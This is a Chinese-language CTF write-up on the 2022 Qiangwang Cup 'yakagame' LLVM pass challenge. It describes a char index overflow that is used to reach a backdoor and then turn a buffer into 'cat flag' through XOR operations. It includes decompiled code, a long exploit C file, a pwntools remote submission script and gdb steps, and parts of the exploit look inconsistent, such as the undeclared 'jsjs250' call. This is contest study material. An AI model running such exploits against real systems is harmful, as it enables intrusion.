2022强网杯 yakagame llvm pass pwn

前言:21年做过类似的llvm pass pwn题,比赛的时候没怎么看这道题,也懒得打,所以这里赛后做一下,题不难,漏洞很明显,有后门,想法触发后门就行了,通过位移操作计算出cat flag的地址就可以了,然后触发

漏洞点:
在没有规定函数指令的时候有个数据类型的溢出
![X[BLM(BA]U(P_%2)HHLQNYA.png][1]

v37 = 0;
              v36 = llvm::CallBase::getNumOperands(v60);
              if ( v36 != 2 )
                exit(0);
              v21 = llvm::CallBase::getArgOperand(v60, 0);
              v35 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
              v37 = llvm::ConstantInt::getZExtValue(v35);
              v34 = std::map<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,unsigned char>::begin(&funMap[abi:cxx11]);
              v33 = 0;                          // char
              while ( 1 )
              {
                v32 = std::map<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,unsigned char>::end(&funMap[abi:cxx11]);
                if ( (std::_Rb_tree_iterator<std::pair<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const,unsigned char>>::operator!=(
                        &v34,
                        &v32) & 1) == 0 )
                  break;
                v22 = std::_Rb_tree_iterator<std::pair<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const,unsigned char>>::operator->(&v34);
                if ( (std::operator==<char>(v22, v58) & 1) != 0 )
                {
                  v23 = std::operator<<<std::char_traits<char>>(
                          &std::cout,
                          "you really want this?all right,i will add it into the weapon list");
                  std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
                  v24 = *(_BYTE *)(std::_Rb_tree_iterator<std::pair<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const,unsigned char>>::operator->(&v34)
                                 + 32);
                  weaponlist[v33] = v24;        // 256,超过256,就能触发负数溢出,
                  break;
                }
                ++v33;

v33是索引,通过v3++可以溢出,溢出到上面soruce,为触发后门做准备
然后就是计算cat flag的指令
![]Z9PU{%RK9DNC1)7Q3PNZDT.png][2]

else if ( (std::operator==<char>(v58, "wuxiangdeyidao") & 1) != 0 )
            {
              --boss;
              for ( l = 0; l < 8; ++l )
                cmd[l] ^= 0x14u;
            }
            else if ( (std::operator==<char>(v58, "zhanjinniuza") & 1) != 0 )
            {
              boss -= 2;
              for ( m = 0; m < 8; ++m )
                cmd[m] ^= 0x7Fu;
            }
            else if ( (std::operator==<char>(v58, "guobapenhuo") & 1) != 0 )
            {
              boss -= 3;
              for ( n = 0; n < 8; ++n )
                cmd[n] -= 9;
            }
            else if ( (std::operator==<char>(v58, "tiandongwanxiang") & 1) != 0 )
            {
              boss -= 0x50;
              for ( ii = 0; ii < 8; ++ii )
                cmd[ii] += 2;
            }

通过异或计算

然后在fight进行后门函数触发
Z2LU@24([RM_VJYODP721}6.png

触发即可rce&get flag

exp有点长

exp.c:

#include <stdio.h>
void fight(int a){};
void merge(int a,int b){};
void destroy(int a){};
void upgrade(int a){};
void wuxiangdeyidao(){};
void zhanjinniuza(){};
void guobapenhuo(){};
void tiandongwanxiang(){};

void jsjsj0(int a);
void jsjsj1(int a);
void jsjsj2(int a);
void jsjsj3(int a);
void jsjsj4(int a);
void jsjsj5(int a);
void jsjsj6(int a);
void jsjsj7(int a);
void jsjsj8(int a);
void jsjsj9(int a);
void jsjsj10(int a);
void jsjsj11(int a);
void jsjsj12(int a);
void jsjsj13(int a);
void jsjsj14(int a);
void jsjsj15(int a);
void jsjsj16(int a);
void jsjsj17(int a);
void jsjsj18(int a);
void jsjsj19(int a);
void jsjsj20(int a);
void jsjsj21(int a);
void jsjsj22(int a);
void jsjsj23(int a);
void jsjsj24(int a);
void jsjsj25(int a);
void jsjsj26(int a);
void jsjsj27(int a);
void jsjsj28(int a);
void jsjsj29(int a);
void jsjsj30(int a);
void jsjsj31(int a);
void jsjsj32(int a);
void jsjsj33(int a);
void jsjsj34(int a);
void jsjsj35(int a);
void jsjsj36(int a);
void jsjsj37(int a);
void jsjsj38(int a);
void jsjsj39(int a);
void jsjsj40(int a);
void jsjsj41(int a);
void jsjsj42(int a);
void jsjsj43(int a);
void jsjsj44(int a);
void jsjsj45(int a);
void jsjsj46(int a);
void jsjsj47(int a);
void jsjsj48(int a);
void jsjsj49(int a);
void jsjsj50(int a);
void jsjsj51(int a);
void jsjsj52(int a);
void jsjsj53(int a);
void jsjsj54(int a);
void jsjsj55(int a);
void jsjsj56(int a);
void jsjsj57(int a);
void jsjsj58(int a);
void jsjsj59(int a);
void jsjsj60(int a);
void jsjsj61(int a);
void jsjsj62(int a);
void jsjsj63(int a);
void jsjsj64(int a);
void jsjsj65(int a);
void jsjsj66(int a);
void jsjsj67(int a);
void jsjsj68(int a);
void jsjsj69(int a);
void jsjsj70(int a);
void jsjsj71(int a);
void jsjsj72(int a);
void jsjsj73(int a);
void jsjsj74(int a);
void jsjsj75(int a);
void jsjsj76(int a);
void jsjsj77(int a);
void jsjsj78(int a);
void jsjsj79(int a);
void jsjsj80(int a);
void jsjsj81(int a);
void jsjsj82(int a);
void jsjsj83(int a);
void jsjsj84(int a);
void jsjsj85(int a);
void jsjsj86(int a);
void jsjsj87(int a);
void jsjsj88(int a);
void jsjsj89(int a);
void jsjsj90(int a);
void jsjsj91(int a);
void jsjsj92(int a);
void jsjsj93(int a);
void jsjsj94(int a);
void jsjsj95(int a);
void jsjsj96(int a);
void jsjsj97(int a);
void jsjsj98(int a);
void jsjsj99(int a);
void jsjsj100(int a);
void jsjsj101(int a);
void jsjsj102(int a);
void jsjsj103(int a);
void jsjsj104(int a);
void jsjsj105(int a);
void jsjsj106(int a);
void jsjsj107(int a);
void jsjsj108(int a);
void jsjsj109(int a);
void jsjsj110(int a);
void jsjsj111(int a);
void jsjsj112(int a);
void jsjsj113(int a);
void jsjsj114(int a);
void jsjsj115(int a);
void jsjsj116(int a);
void jsjsj117(int a);
void jsjsj118(int a);
void jsjsj119(int a);
void jsjsj120(int a);
void jsjsj121(int a);
void jsjsj122(int a);
void jsjsj123(int a);
void jsjsj124(int a);
void jsjsj125(int a);
void jsjsj126(int a);
void jsjsj127(int a);
void jsjsj128(int a);
void jsjsj129(int a);
void jsjsj130(int a);
void jsjsj131(int a);
void jsjsj132(int a);
void jsjsj133(int a);
void jsjsj134(int a);
void jsjsj135(int a);
void jsjsj136(int a);
void jsjsj137(int a);
void jsjsj138(int a);
void jsjsj139(int a);
void jsjsj140(int a);
void jsjsj141(int a);
void jsjsj142(int a);
void jsjsj143(int a);
void jsjsj144(int a);
void jsjsj145(int a);
void jsjsj146(int a);
void jsjsj147(int a);
void jsjsj148(int a);
void jsjsj149(int a);
void jsjsj150(int a);
void jsjsj151(int a);
void jsjsj152(int a);
void jsjsj153(int a);
void jsjsj154(int a);
void jsjsj155(int a);
void jsjsj156(int a);
void jsjsj157(int a);
void jsjsj158(int a);
void jsjsj159(int a);
void jsjsj160(int a);
void jsjsj161(int a);
void jsjsj162(int a);
void jsjsj163(int a);
void jsjsj164(int a);
void jsjsj165(int a);
void jsjsj166(int a);
void jsjsj167(int a);
void jsjsj168(int a);
void jsjsj169(int a);
void jsjsj170(int a);
void jsjsj171(int a);
void jsjsj172(int a);
void jsjsj173(int a);
void jsjsj174(int a);
void jsjsj175(int a);
void jsjsj176(int a);
void jsjsj177(int a);
void jsjsj178(int a);
void jsjsj179(int a);
void jsjsj180(int a);
void jsjsj181(int a);
void jsjsj182(int a);
void jsjsj183(int a);
void jsjsj184(int a);
void jsjsj185(int a);
void jsjsj186(int a);
void jsjsj187(int a);
void jsjsj188(int a);
void jsjsj189(int a);
void jsjsj190(int a);
void jsjsj191(int a);
void jsjsj192(int a);
void jsjsj193(int a);
void jsjsj194(int a);
void jsjsj195(int a);
void jsjsj196(int a);
void jsjsj197(int a);
void jsjsj198(int a);
void jsjsj199(int a);
void jsjsj200(int a);
void jsjsj201(int a);
void jsjsj202(int a);
void jsjsj203(int a);
void jsjsj204(int a);
void jsjsj205(int a);
void jsjsj206(int a);
void jsjsj207(int a);
void jsjsj208(int a);
void jsjsj209(int a);
void jsjsj210(int a);
void jsjsj211(int a);
void jsjsj212(int a);
void jsjsj213(int a);
void jsjsj214(int a);
void jsjsj215(int a);
void jsjsj216(int a);
void jsjsj217(int a);
void jsjsj218(int a);
void jsjsj219(int a);
void jsjsj220(int a);
void jsjsj221(int a);
void jsjsj222(int a);
void jsjsj223(int a);
void jsjsj224(int a);
void jsjsj225(int a);
void jsjsj226(int a);
void jsjsj227(int a);
void jsjsj228(int a);
void jsjsj229(int a);
void jsjsj230(int a);
void jsjsj231(int a);
void jsjsj232(int a);
void jsjsj233(int a);
void jsjsj234(int a);
void jsjsj235(int a);
void jsjsj236(int a);
void jsjsj237(int a);
void jsjsj238(int a);
void jsjsj239(int a);
void jsjsj240(int a);
void jsjsj241(int a);
void jsjsj242(int a);
void jsjsj243(int a);
void jsjsj244(int a);
void jsjsj245(int a);
void jsjsj246(int a);
void jsjsj247(int a);
void jsjsj248(int a);
void jsjsj249(int a);
void jsjsj250(int a);
void jsjsj251(int a);
void jsjsj252(int a);
void jsjsj253(int a);
void jsjsj254(int a);
void jsjsj255(int a);
void jsjsj256(int a);
void jsjsj257(int a);
void jsjsj258(int a);
void jsjsj259(int a);



void gamestart()
{
    tiandongwanxiang();
    wuxiangdeyidao();
    guobapenhuo();
    wuxiangdeyidao();
    
    
    jsjsj1(0);
    jsjsj2(0);
    jsjsj3(0);
    jsjsj4(0);
    jsjsj5(0);
    jsjsj6(0);
    jsjsj7(0);
    jsjsj8(0);
    jsjsj9(0);
    jsjsj10(0);
    jsjsj11(0);
    jsjsj12(0);
    jsjsj13(0);
    jsjsj14(0);
    jsjsj15(0);
    jsjsj16(0);
    jsjsj17(0);
    jsjsj18(0);
    jsjsj19(0);
    jsjsj20(0);
    jsjsj21(0);
    jsjsj22(0);
    jsjsj23(0);
    jsjsj24(0);
    jsjsj25(0);
    jsjsj26(0);
    jsjsj27(0);
    jsjsj28(0);
    jsjsj29(0);
    jsjsj30(0);
    jsjsj31(0);
    jsjsj32(0);
    jsjsj33(0);
    jsjsj34(0);
    jsjsj35(0);
    jsjsj36(0);
    jsjsj37(0);
    jsjsj38(0);
    jsjsj39(0);
    jsjsj40(0);
    jsjsj41(0);
    jsjsj42(0);
    jsjsj43(0);
    jsjsj44(0);
    jsjsj45(0);
    jsjsj46(0);
    jsjsj47(0);
    jsjsj48(0);
    jsjsj49(0);
    jsjsj50(0);
    jsjsj51(0);
    jsjsj52(0);
    jsjsj53(0);
    jsjsj54(0);
    jsjsj55(0);
    jsjsj56(0);
    jsjsj57(0);
    jsjsj58(0);
    jsjsj59(0);
    jsjsj60(0);
    jsjsj61(0);
    jsjsj62(0);
    jsjsj63(0);
    jsjsj64(0);
    jsjsj65(0);
    jsjsj66(0);
    jsjsj67(0);
    jsjsj68(0);
    jsjsj69(0);
    jsjsj70(0);
    jsjsj71(0);
    jsjsj72(0);
    jsjsj73(0);
    jsjsj74(0);
    jsjsj75(0);
    jsjsj76(0);
    jsjsj77(0);
    jsjsj78(0);
    jsjsj79(0);
    jsjsj80(0);
    jsjsj81(0);
    jsjsj82(0);
    jsjsj83(0);
    jsjsj84(0);
    jsjsj85(0);
    jsjsj86(0);
    jsjsj87(0);
    jsjsj88(0);
    jsjsj89(0);
    jsjsj90(0);
    jsjsj91(0);
    jsjsj92(0);
    jsjsj93(0);
    jsjsj94(0);
    jsjsj95(0);
    jsjsj96(0);
    jsjsj97(0);
    jsjsj98(0);
    jsjsj99(0);
    jsjsj100(0);
    jsjsj101(0);
    jsjsj102(0);
    jsjsj103(0);
    jsjsj104(0);
    jsjsj105(0);
    jsjsj106(0);
    jsjsj107(0);
    jsjsj108(0);
    jsjsj109(0);
    jsjsj110(0);
    jsjsj111(0);
    jsjsj112(0);
    jsjsj113(0);
    jsjsj114(0);
    jsjsj115(0);
    jsjsj116(0);
    jsjsj117(0);
    jsjsj118(0);
    jsjsj119(0);
    jsjsj120(0);
    jsjsj121(0);
    jsjsj122(0);
    jsjsj123(0);
    jsjsj124(0);
    jsjsj125(0);
    jsjsj126(0);
    jsjsj127(0);
    jsjsj128(0);
    jsjsj129(0);
    jsjsj130(0);
    jsjsj131(0);
    jsjsj132(0);
    jsjsj133(0);
    jsjsj134(0);
    jsjsj135(0);
    jsjsj136(0);
    jsjsj137(0);
    jsjsj138(0);
    jsjsj139(0);
    jsjsj140(0);
    jsjsj141(0);
    jsjsj142(0);
    jsjsj143(0);
    jsjsj144(0);
    jsjsj145(0);
    jsjsj146(0);
    jsjsj147(0);
    jsjsj148(0);
    jsjsj149(0);
    jsjsj150(0);
    jsjsj151(0);
    jsjsj152(0);
    jsjsj153(0);
    jsjsj154(0);
    jsjsj155(0);
    jsjsj156(0);
    jsjsj157(0);
    jsjsj158(0);
    jsjsj159(0);
    jsjsj160(0);
    jsjsj161(0);
    jsjsj162(0);
    jsjsj163(0);
    jsjsj164(0);
    jsjsj165(0);
    jsjsj166(0);
    jsjsj167(0);
    jsjsj168(0);
    jsjsj169(0);
    jsjsj170(0);
    jsjsj171(0);
    jsjsj172(0);
    jsjsj173(0);
    jsjsj174(0);
    jsjsj175(0);
    jsjsj176(0);
    jsjsj177(0);
    jsjsj178(0);
    jsjsj179(0);
    jsjsj180(0);
    jsjsj181(0);
    jsjsj182(0);
    jsjsj183(0);
    jsjsj184(0);
    jsjsj185(0);
    jsjsj186(0);
    jsjsj187(0);
    jsjsj188(0);
    jsjsj189(0);
    jsjsj190(0);
    jsjsj191(0);
    jsjsj192(0);
    jsjsj193(0);
    jsjsj194(0);
    jsjsj195(0);
    jsjsj196(0);
    jsjsj197(0);
    jsjsj198(0);
    jsjsj199(0);
    jsjsj200(0);
    jsjsj201(0);
    jsjsj202(0);
    jsjsj203(0);
    jsjsj204(0);
    jsjsj205(0);
    jsjsj206(0);
    jsjsj207(0);
    jsjsj208(0);
    jsjsj209(0);
    jsjsj210(0);
    jsjsj211(0);
    jsjsj212(0);
    jsjsj213(0);
    jsjsj214(0);
    jsjsj215(0);
    jsjsj216(0);
    jsjsj217(0);
    jsjsj218(0);
    jsjsj219(0);
    jsjsj220(0);
    jsjsj221(0);
    jsjsj222(0);
    jsjsj223(0);
    jsjsj224(0);
    jsjsj225(0);
    jsjsj226(0);
    jsjsj227(0);
    jsjsj228(0);
    jsjsj229(0);
    jsjsj230(0);
    jsjsj231(0);
    jsjsj232(0);
    jsjsj233(0);
    jsjsj234(0);
    jsjsj235(0);
    jsjsj236(0);
    jsjsj237(0);
    jsjsj238(0);
    jsjsj239(0);
    jsjsj240(0);
    jsjsj241(0);
    jsjsj242(0);
    jsjsj243(0);
    jsjsj244(0);
    jsjsj245(0);
    jsjsj246(0);
    jsjsj247(0);
    jsjsj248(0);
    jsjsj249(0);
    jsjsj250(0);
    jsjsj251(0);
    jsjsj252(0);
    jsjsj253(0);
    jsjsj254(0);
    jsjsj255(0);
    jsjsj256(0);
    jsjsj257(0);
    jsjsj258(0);
    jsjsj259(0);

    
    jsjs250(0xbb);
    fight(1);
}

编译exp

opt-8 -load ./yaka.so -ayaka ./exp.ll

打远程脚本:

from pwn import *
import sys
context.log_level='debug'

conn = remote(sys.argv[1], sys.argv[2])
f = open("./exp.ll","rb")

payload=f.read()

f.close()

payload2 = payload.encode("base64")
print repr(payload2)
conn.sendlineafter("bitcode: \n", payload2)

conn.interactive()

exp断点调试

gdb opt-8
set args -load ./yaka.so -ayaka ./exp.ll
b llvm::Pass::preparePassManager
b *rebase+elf_addr
c
c
c

总结:题不难,比赛没时间看,因为自己懒,懒得看,懒得打比赛笑死呜呜

本文链接:

http://blog.azly.top/index.php/archives/87/
1 + 7 =
快来做第一个评论的人吧~